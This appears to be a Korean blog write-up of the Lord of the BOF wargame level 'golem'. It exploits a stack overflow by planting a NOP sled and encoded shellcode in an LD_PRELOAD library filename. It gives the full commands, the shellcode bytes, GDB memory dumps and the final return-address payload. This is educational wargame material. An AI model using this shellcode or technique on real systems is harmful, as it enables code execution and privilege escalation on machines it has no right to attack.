- User : skeleton
- 문제 : golem
golem.c의 소스코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | /* The Lord of the BOF : The Fellowship of the BOF - golem - stack destroyer */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(buffer, argv[1]); // Vulnerability!!! printf("%s\n", buffer); // stack destroyer! memset(buffer, 0, 44); memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48)); } | cs |
//stack destroyer! 부분에서 buffer와 buffer+48에서 0xbfffffff까지 모두 0으로 초기화 시키고 있습니다. 아래와 같이 GDB를 이용해서 확인해 보면 이전 문제와 다르게 환경변수 영역에서 실행 파일까지 모두 초기화되어 있는 것을 확인할 수 있습니다. 따라서 LD_PRELOAD 환경변수를 이용하여 문제를 해결하겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 | (gdb) 0xbfffff48: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff58: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff68: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff78: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff88: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff98: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffffa8: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffffb8: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffffc8: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffffd8: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffffe8: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffff8: 0x00000000 0x00000000 Cannot access memory at address 0xc0000000 | cs |
※ LD_PRELOAD 프로세스를 실행하는 중에 라이브러리를 로딩할 때, LD_PRELOAD 환경변수가 설정되어 있으면 해당 변수에 지정된 라이브러리를 먼저 로딩하고, 이중 libc 함수명과 동일한 함수가 있다면 해당 함수를 먼저 호출해 줍니다. 이러한 특성을 이용하여 후킹도 할 수 있습니다. [참고] http://ddubucker.tistory.com/entry/LDPRELOAD-%ED%9B%84%ED%82%B9-%EA%B8%B0%EB%B2%95 |
LD_PRELOAD의 메모리 영역은 공유 라이브러리 영역인 Stack의 지역 변수(buffer) 영역 위(낮은 주소)에 존재합니다.
------------------------------------------------------------------------------------------------
| Code | Data | BSS | Heap | 공유 라이브러리 | buffer | SFP | RET | argc, argv | env, etc |
------------------------------------------------------------------------------------------------
Step 1. 다음과 같은 절차로 LD_PRELOAD 환경변수를 등록합니다. 먼저 tmp.c 라는 빈 파일을 만들고 해당 파일을 NOP 코드와 shellcode로 구성된 파일명으로 컴파일 합니다. 이때 -fPIC -shared 옵션으로 컴파일 합니다. 그리고 export LD_PRELOAD 명령어로 해당 파일을 등록합니다. 이때 파일명을 반드시 절대 경로로 지정해야 오류가 나지 않습니다.
-fPIC 옵션 : Position-Independent Code의 약자이며 test.o파일을 동적라이브러리로 사용하도록 컴파일 하는 옵션 -shared 옵션 : 공유 라이브러리를 만드는 옵션 |
1 2 3 4 5 6 7 | [skeleton@localhost tmp]$ touch tmp.c [skeleton@localhost tmp]$ gcc -fPIC -shared tmp.c -o `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80 \x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f \x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` [skeleton@localhost tmp]$ export LD_PRELOAD="/home/skeleton/tmp/`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9 \xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69 \x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`" | cs |
Step 2. GDB를 이용하여 shellcode가 포함되어 있는 LD_PRELOAD의 위치를 파악합니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | (gdb) b *main Breakpoint 1 at 0x8048470 (gdb) r `python -c 'print "\xbf"*48'` Starting program: /home/skeleton/tmp/golem `python -c 'print "\xbf"*48'` Breakpoint 1, 0x8048470 in main () (gdb) x/60x $esp-3000 0xbfffee64: 0x0000037d 0x00000000 0x0000038c 0x00000000 0xbfffee74: 0x000000cb 0x0000059b 0x00000707 0x00000557 0xbfffee84: 0x00000000 0x00000564 0x00000000 0x00000301 0xbfffee94: 0x0000048e 0x00000550 0x00000000 0x0000067f ... 0xbffff584: 0x6d6f682f 0x6b732f65 0x74656c65 0x742f6e6f 0xbffff594: 0x902f706d 0x90909090 0x90909090 0x90909090 0xbffff5a4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5b4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5c4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5d4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5e4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5f4: 0x90909090 0xeb909090 0xc9315e11 0x6c8032b1 0xbffff604: 0x8001ff0e 0xf67501e9 0xeae805eb 0x32ffffff 0xbffff614: 0x306951c1 0x69697430 0x6f6a6330 0x5451e48a 0xbffff624: 0xb19ae28a 0x0081ce0c 0x40013868 0x4000220c 0xbffff634: 0xbffffb64 0x00000000 0x00000000 0x00000000 | cs |
Step 3. 다음과 같은 payload를 만들 수 있습니다. RET 값을 위에서 찾은 LD_PRELAOD의 주소값으로 수정합니다.
1 | [skeleton@localhost tmp]$ ./golem `python -c 'print "A"*44+"\xc4\xf5\xff\xbf"'` | cs |
'WarGame > LOB' 카테고리의 다른 글
[LOB] darkknight :: Return-To-Libc (RTL) (3) | 2016.04.14 |
---|---|
[LOB] golem :: Stack Frame Pointer Overflow (FPO) (0) | 2016.04.14 |
[LOB] vampire :: 초기화되지 않는 환경변수 영역 (0) | 2016.04.06 |
[LOB] troll :: Stack Escalate (0) | 2016.04.05 |
[LOB] orge :: 심볼릭 링크를 이용한 BOF (0) | 2016.04.05 |